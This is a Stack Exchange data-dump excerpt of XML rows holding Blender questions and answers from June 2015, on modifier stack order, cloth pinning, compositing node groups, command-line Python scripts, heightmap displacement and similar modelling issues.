  <row Id="32977" PostTypeId="1" CreationDate="2015-06-25T16:03:22.460" Score="2" ViewCount="460" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZ1j9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, when I applied my subsurf modifier my mirror modifier messes up... how can I fix this?&lt;img src=&quot;https://i.stack.imgur.com/3GPmp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the mesh before I applied the subsurf modifier.&lt;/p&gt;&#xA;" OwnerUserId="15123" LastActivityDate="2015-06-25T16:10:41.713" Title="How come my mirror modifier messes up when I apply subdivision?" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32978" PostTypeId="2" ParentId="32977" CreationDate="2015-06-25T16:10:41.713" Score="3" Body="&lt;p&gt;The order of stack modifiers is very important. When you apply the Subsurf Modifier the result will be as if it was first in the stack.&#xA;The solution is to apply the Mirror Modifier first and then Subsurf Modifier.&#xA;If you still want mirror modifier then you can delete half of the mesh and add the modifier again.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-06-25T16:10:41.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32979" PostTypeId="2" ParentId="32972" CreationDate="2015-06-25T17:21:26.597" Score="7" Body="&lt;ul&gt;&#xA;&lt;li&gt;Select the cloth. Enter Weight paint mode with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;, assign weights of 1 to the vertices you want to pin (paint with brush these vertices red)&lt;/li&gt;&#xA;&lt;li&gt;In cloth physics settings, check 'pinning' and select the vertex group&lt;/li&gt;&#xA;&lt;li&gt;Then enter Object mode with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;. Make sure to select the cloth first and then the object you want to pin on.&lt;/li&gt;&#xA;&lt;li&gt;Parent the cloth to the object with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and select 'Set parent to object'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-25T17:21:26.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32980" PostTypeId="2" ParentId="32972" CreationDate="2015-06-25T17:30:29.410" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Pin a vertex group in your cloth sim settings &lt;/li&gt;&#xA;&lt;li&gt;Hook those pin vertices to something.  For my test I used &lt;kbd&gt;Ctrl-h&lt;/kbd&gt; to hook them to a new empty. You will probably hook them to a bone or something.&lt;/li&gt;&#xA;&lt;li&gt;Go into the modifier panel and move the Hook-Empty modifier &lt;strong&gt;above&lt;/strong&gt; the cloth modifier in the stack.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After doing that, I was able to drag the cloth around by animating the empty.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-25T17:30:29.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32981" PostTypeId="2" ParentId="32965" CreationDate="2015-06-25T17:42:23.800" Score="2" Body="&lt;p&gt;Some things to check for that would impact the visibility of your background images, besides being in the proper type of view (orthographic, as distinguished from perspective view) include the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you used the background images panel in the properties shelf of the 3D viewport, are the background image files still on your computer in the same place as they were when you loaded them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the images are in the same location, is the background images panel activated in the new instance of Blender into which you loaded your previously saved file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you looking at the right view in the 3D viewport? An image is only visible if Blender thinks it is looking at the same view, so that if you used the facility to rotate the image in any direction from one of the six background image views, even if you rotate it back to the original view, Blender will still think it's in a user view, and the image will not be visible. Try pressing the numpad keys for the view for which you have background images located: for example, if you have a top view, press the  &lt;kbd&gt;Numpad-7&lt;/kbd&gt; key; a left view, press &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;Numpad-3&lt;/kbd&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might expedite getting an answer if you upload your blend file to &lt;a href=&quot;https://blend-exchange.giantcowfilms.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend-exchange.giantcowfilms.com&lt;/a&gt;, and edit your question to provide a link to the blend file.  &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-25T17:42:23.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32982" PostTypeId="1" AcceptedAnswerId="32983" CreationDate="2015-06-25T17:45:14.730" Score="1" ViewCount="78" Body="&lt;p&gt;This is a question about the Blender community itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a list of resources (&lt;a href=&quot;https://blender.stackexchange.com/questions/15355/resources-for-blender&quot;&gt;Resources for Blender&lt;/a&gt;) of things like sounds, models, and addons, but the one for community organizations has just been added, and may not be of much use for a while. I want to recruit a team for my first animation, &lt;em&gt;Ignite Cascade&lt;/em&gt;. It is thirty minutes long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the right place to ask this question (that is, should it be moved to meta?) Is this the wrong place to ask for a team to be assembled?&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-06-25T19:07:29.173" Title="Looking for a Team (A Question about Blender Community)" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2015-06-25T18:14:00.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="32983" PostTypeId="2" ParentId="32982" CreationDate="2015-06-25T18:08:31.723" Score="2" Body="&lt;p&gt;If you go to the &lt;a href=&quot;http://www.blender.org/support/user-community/&quot; rel=&quot;nofollow&quot;&gt;user community&lt;/a&gt; page on the Blender website, you will find a number of sites on line where there are blender users participating in forums, including a facebook page, where you might recruit members for your development team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck. A 30 minute animation is quite an undertaking. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-25T18:08:31.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32984" PostTypeId="1" CreationDate="2015-06-25T18:26:23.060" Score="11" ViewCount="15537" Body="&lt;p&gt;Is there any way in Blender to save settings in your compositing node setup. For example say for my shadow catcher I have it setup for a hard shadow for sunlight, and then I also have a setting for diffuse light shadow for indoors. Is there any way I can save these settings individually so I can quickly switch to them rather than having to individually change the nodes every time.&lt;/p&gt;&#xA;" OwnerUserId="15228" LastEditorUserId="599" LastEditDate="2015-06-25T19:06:00.400" LastActivityDate="2020-06-24T23:09:05.140" Title="Is there a way to save composite node presets?" Tags="&lt;interface&gt;&lt;nodes&gt;&lt;workflow&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32985" PostTypeId="2" ParentId="32984" CreationDate="2015-06-25T18:39:55.710" Score="9" Body="&lt;p&gt;Yes, you can use &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/shader_nodes/groups.html?#node-groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;node groups&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Creating node groups&lt;/h1&gt;&#xA;&lt;p&gt;You can create a node group by selecting the nodes you want to save and then pressing &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgxGH.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After you create a group, you'll end up &lt;em&gt;inside&lt;/em&gt; the group, where you can edit it. Toggle in and out of the last selected group by pressing &lt;kbd&gt;↹ Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While inside the group, you can edit the node tree and define what the inputs and outputs should be (if any) by connecting the special &lt;em&gt;Group Input&lt;/em&gt; and &lt;em&gt;Group Output&lt;/em&gt; nodes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ByBz.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now you have a reusable custom node.&lt;/p&gt;&#xA;&lt;p&gt;For more control over the inputs and outputs, you can add&lt;sup&gt;1&lt;/sup&gt;, remove&lt;sup&gt;2&lt;/sup&gt;, rename&lt;sup&gt;3&lt;/sup&gt;, reorder&lt;sup&gt;4&lt;/sup&gt;, and change default values&lt;sup&gt;5&lt;/sup&gt; of inputs in the &lt;em&gt;Properties panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) while inside the group (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jy59.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For value inputs (gray sockets for scalars, purple sockets for vectors) you can also define &lt;em&gt;Min&lt;/em&gt; and &lt;em&gt;Max&lt;/em&gt; values.&lt;/p&gt;&#xA;&lt;p&gt;Note that node groups can contain other node groups, in which case navigating between between these with just &lt;kbd&gt;↹ Tab&lt;/kbd&gt; can sometimes be confusing. You can always go up and out of the current node group by pressing the &lt;em&gt;up&lt;/em&gt; button in the header (think of the node editor like a file browser and node groups like directories):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CpUE0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To ungroup a node, press &lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; with the group node selected (outside of the node group)&lt;/p&gt;&#xA;&lt;h1&gt;Saving and reusing node groups&lt;/h1&gt;&#xA;&lt;p&gt;To see how you can save these in a library blendfile (or even your startup.blend) and import them into whatever project you need, see&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/7826/599&quot;&gt;Can I make a custom node from a group and have that available in other projects?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/3455/599&quot;&gt;How can I apply some material included in a node-pack library?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-06-24T23:09:05.140" LastActivityDate="2020-06-24T23:09:05.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32986" PostTypeId="1" CreationDate="2015-06-25T18:47:27.350" Score="7" ViewCount="1647" Body="&lt;p&gt;I have 8 python scripts and I need to lunch them at once. For one script, I used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background --python script1.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the eight scripts, I tried this command but it does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background --python *.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="55" LastEditDate="2015-06-25T23:29:00.523" LastActivityDate="2015-06-25T23:29:00.523" Title="Run multiple Python scripts in Blender from the command-line" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32987" PostTypeId="2" ParentId="32936" CreationDate="2015-06-25T18:55:57.493" Score="2" Body="&lt;p&gt;I have found solution to my problem. To enable openCl on Linux Mint 17.1 with ATI radeon video card just install &lt;strong&gt;&lt;code&gt;ocl-icd-libopencl1&lt;/code&gt;&lt;/strong&gt; package for 64 bit system, or &lt;strong&gt;&lt;code&gt;ocl-icd-libopencl1:i386&lt;/code&gt;&lt;/strong&gt; for 32 bit system. No need to run Blender as root or set up environment variable.&lt;/p&gt;&#xA;" OwnerUserId="15215" LastEditorUserId="15215" LastEditDate="2015-06-26T12:13:46.913" LastActivityDate="2015-06-26T12:13:46.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32988" PostTypeId="2" ParentId="32986" CreationDate="2015-06-25T19:07:44.267" Score="5" Body="&lt;p&gt;You can have multiple &lt;code&gt;--python&lt;/code&gt; tags. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background --python script1.py --python script2.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will execute the scripts in the order they are added in the command above. Add as many &lt;code&gt;--python&lt;/code&gt; arguments as you need (there is no limit on the number of scripts you can run).&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="55" LastEditDate="2015-06-25T23:28:03.987" LastActivityDate="2015-06-25T23:28:03.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32989" PostTypeId="2" ParentId="32984" CreationDate="2015-06-25T19:25:45.323" Score="7" Body="&lt;p&gt;Yes, they are called node groups. They aren't exactly like the presets you'll find in other software, but they're close.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What is a node group?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A node group is a bit like a custom node. How if behaves is defined by the nodes inside of it, and the interface. It works by taking inputs from outside the node group, making your calculations with nodes, and then outputting them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Lets make a simple node group&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The best way to understand how node groups work, is to make one, so let's make a vignette node group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually a vignette node setup looks something like this (although different people have different ways of doing it)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Njcjb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's select those node, and press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CVzkL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender then creates a node group, and goes into the group editing mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In here, you'll notice that we have the old nodes that where selected, but now we have two more nodes. There is the group input node, and the group output node. These act as the interface between the two node tree's (the normal outside one, and the node group).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To leave the node group editing, just press &lt;kbd&gt;TAB&lt;/kbd&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A2kI6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you leave node editing, you'll see a new node in place of the old ones. This node acts as the interface for the normal node tree, just like the input and output nodes act as the interface when inside the group node editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can of coarse change the name of the node group using the text box.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Group Interfaces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Node group interfaces are how the two node tree's can interact. When building a node group, a lot of the time the sockets that are added by default for you, aren't enough. For example, we probably want an amount socket on out node group, to control the amount of the vignette.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, in node editing mode, drag the a string off of the factor input of the multiply node, and drag it into transparent socket of the input node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/q3bbs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This adds a new socket to our interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The socket can be controlled even more using the interface settings which are found in the &lt;kbd&gt;N&lt;/kbd&gt; properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/14zD6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those values are pretty self explanatory. The name is the name of the socket, the default value is the value that it will start out with when you add the node group, and min and max are the minimum and maximum values of that socket.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using node groups&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To use a node group, press &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; go to node group, and find the node group you want to use. This works well enough, but what if you want to use one that's not already in the .blend file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways this can be taken care of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the node group can be saved into the default .blend file. Simply build the node group in your default scene, then use the fake user button to save it, and then save your default scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a bit more information about saving to the startup file in &lt;a href=&quot;https://blender.stackexchange.com/a/7829/8262&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this won't make a difference for existing .blend files, new ones will always have your custom node group in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node groups can also be appended/linked into a .blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, press link or append in the file menu, and navigate to the .blend file you want to use. When you click on the file, you'll see a few more options. These are the different datablocks that can be imported into your scene. Select node tree, and then find your node group, and import it.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-11-18T17:11:13.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32990" PostTypeId="2" ParentId="15355" CreationDate="2015-06-25T19:29:24.683" Score="14" Body="&lt;h2&gt;Blogs&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bensimonds.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ben Simonds&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://adaptivesamples.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Greg Zaal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderguru.com/blog/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Andrew Price&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.creativeshrimp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gleb Alexandrov&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://topologyguides.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Topology Guide&lt;/a&gt; (Good modelling practices)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Communities and Forums&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/support/user-community/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Official Blender site user community page&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blenderartists.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender artists&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://cloud.blender.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Cloud&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/YourOwn3DSoftware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Facebook page&lt;/a&gt;(s)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blender.stackexchange.com&quot;&gt;Blender Stack Exchange&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://community.cgcookie.com/c/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;CG Cookie Community&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Nation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://discord.com/invite/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Discord OpenVFX&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="21822" LastEditDate="2021-04-21T16:58:34.487" LastActivityDate="2021-04-21T16:58:34.487" CommentCount="4" CommunityOwnedDate="2015-06-25T19:29:24.683" ContentLicense="CC BY-SA 4.0" />
  <row Id="32992" PostTypeId="1" CreationDate="2015-06-25T20:05:29.643" Score="2" ViewCount="1470" Body="&lt;p&gt;I am trying to use Blender as a CAD tool for electromagnetic simulations. I have modeled the geometry, but now would like to export it to a format that I can read for the simulation (external Python program). To do this, I compiled bpy as a python module, and am creating and loading .blend files from Python directly. The constructed objects/files are viewable when loaded in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to be able to query the space (any x,y,z point) and return which material the point belongs to. This sort of information would be used in a 3D FDTD simulation. Is there an easy way to do this? -- I could not find any, so I decided the next best thing would be to grid/mesh my simulation domain into voxels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking around, the closest thing I could find is the Add-Cells plugin, but it is written for Blender 2.48, and I don't think it works with the current version 2.74.&#xA;(&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.4/Py/Scripts/Add/Cells_v1.2&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.4/Py/Scripts/Add/Cells_v1.2&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to voxelize all the objects in the scene, and then export to a 3D NumPy matrix. I imagine this will consume a lot of memory, but I am happy as long as it works. (Ideal case would be to just query points in space and have it return the material).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15230" LastActivityDate="2018-02-22T00:13:48.750" Title="How to voxelize and extract blender data?" Tags="&lt;scripting&gt;&lt;texturing&gt;&lt;materials&gt;&lt;export&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32993" PostTypeId="1" CreationDate="2015-06-25T21:23:30.713" Score="1" ViewCount="184" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/usgxN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a hair mesh that is done by somebody who I think was probably very professional (a worker for the Unity game engine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to figure out how exactly he did that hair mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it looks as if he just inserted a plane and then put an alpha masked image on it based on location, and other times I think he took a look at one image and thought about where he could use different parts of that image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really understand the work-flow yet. Can anybody tell me how he did this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded the file &lt;a href=&quot;http://www.onscreensoftware.de/hair.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;Unfortunately I don't know how to put the diffuse texture into the .blend file permanently, so I have included it in the zip file.&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-06-25T21:43:53.340" LastActivityDate="2015-06-25T21:43:53.340" Title="UV unwrap from location or plane from diffuse?" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;&lt;workflow&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32994" PostTypeId="1" AcceptedAnswerId="33437" CreationDate="2015-06-25T21:26:26.013" Score="5" ViewCount="2014" Body="&lt;p&gt;I have got a custom heightmap-loader in Java, which converts each pixel of a Heightmap into a coordinate between 0 and 255, obviously with 255 being white and 0 being black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, blender doesn't quite convert it the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my rendering the heightmap with my own loader:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/thnPw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the one created by blender:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Cbm7t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it generally the same, White = up, black = down - But there are quite a lot of subtle differences. Certain places are higher, certain places are lower. And it generally is an incorrect mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the heightmap, I am following &lt;a href=&quot;http://johnflower.org/tutorial/make-mountains-blender-height-maps&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;. To sum it up, I create an image via a plane and use the &lt;code&gt;Displace&lt;/code&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want an obj model which is 512 coordinates in size (ranging from 0 to 512) and has the same height as my custom generator, which simply sets the height directly to the amount of red on the heightmap at a certain coordinate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, the heightmap is black-and-white. So it doesn't matter if I get the red, green, or blue on the Heightmap, it'll be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it incorrect? What can I do to make it look exactly the same? &lt;/p&gt;&#xA;" OwnerUserId="7464" LastEditorUserId="2217" LastEditDate="2015-06-27T20:57:39.543" LastActivityDate="2015-10-03T21:01:17.053" Title="Why does image texture used in displace modifier not give the correct height?" Tags="&lt;texturing&gt;&lt;modifiers&gt;&lt;image&gt;" AnswerCount="2" CommentCount="13" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32995" PostTypeId="1" CreationDate="2015-06-25T21:37:55.923" Score="0" ViewCount="55" Body="&lt;p&gt;I exported a model from Cinema4d into Blender. I exported it as an FBX file and in the file, there are already predefined textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U85vB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the model looked when I imported it into Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tfmQv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how I assign the specific materials to the specific areas such as the head and the body?&lt;/p&gt;&#xA;" OwnerUserId="15231" LastEditorUserId="3401" LastEditDate="2015-06-26T08:57:13.400" LastActivityDate="2015-06-26T08:57:13.400" Title="Applying a material to a model which has preassigned materials" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;import&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32996" PostTypeId="1" AcceptedAnswerId="33005" CreationDate="2015-06-25T22:05:55.537" Score="1" ViewCount="562" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36743&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's my blend file.&lt;/a&gt;&lt;/strong&gt; The camera shake is intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like in the viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/DistinctWellinformedAfricanelephant&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4S8mg.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://zippy.gfycat.com/DistinctWellinformedAfricanelephant.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;gfycat.com&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render, however, even &lt;em&gt;after the camera shakes,&lt;/em&gt; the fire clearly jitters a little bit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/WeepyAnchoredJanenschia&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://zippy.gfycat.com/WeepyAnchoredJanenschia.gif&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7806" LastEditorUserId="32220" LastEditDate="2019-03-30T23:45:54.003" LastActivityDate="2021-03-09T16:35:44.133" Title="smoke+fire simulation fine in viewport but jittery in render" Tags="&lt;rendering&gt;&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
